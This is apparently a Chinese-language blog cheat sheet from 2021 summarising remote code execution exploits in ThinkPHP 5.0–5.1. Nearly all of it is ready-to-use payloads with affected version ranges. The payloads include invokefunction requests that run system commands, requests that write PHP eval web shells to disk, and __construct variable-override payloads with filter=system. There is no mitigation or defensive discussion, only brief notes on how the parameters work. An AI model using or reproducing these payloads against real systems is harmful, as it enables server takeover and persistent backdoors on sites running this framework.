ThinkPHP 5.x.x RCE 總結
阿新 • • 發佈:2021-06-21
ThinkPHP 5.x [路由控制不嚴謹] RCE
影響範圍
ThinkPHP 5.0-5.0.23
ThinkPHP 5.1-5.1.31
Payload
?s=index/think\request/input?data[]=phpinfo()&filter=assert # 遠端程式碼命令執行 tp 5.0.7 ~ 5.0.23 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami ?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php' ?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?> # 遠端程式碼命令執行 tp 5.1.x ?s=index/\think\Request/input&filter=system&data=whoami ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami ?=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<php%20phpinfo();>
vars[0]的值是PHP的函式
vars[1][]的值是PHP的函式(
vars[0]
)的引數system(whoami)
ThinkPHP 5.0.x [變數覆蓋] RCE
影響範圍
ThinkPHP 5.0.x
利用條件
Payload
# tp 5.0.0 ~ 5.0.12 無條件觸發(引數a可以替換成get[]/route[]等) _method=__construct&filter=system&a=whoami&method=GET _method=__construct&filter=system&a=whoami # tp 5.0.13 ~ 5.0.23 有條件觸發(需要有第三方庫,如captcha或開啟debug) # GET index.php?s=captcha 第三方庫 _method=__construct&filter=system&a=whoami _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami _method=__construct&filter[]=system&method=get&get[]=whoami || _method=__construct&filter=system&method=GET&route[]=whoami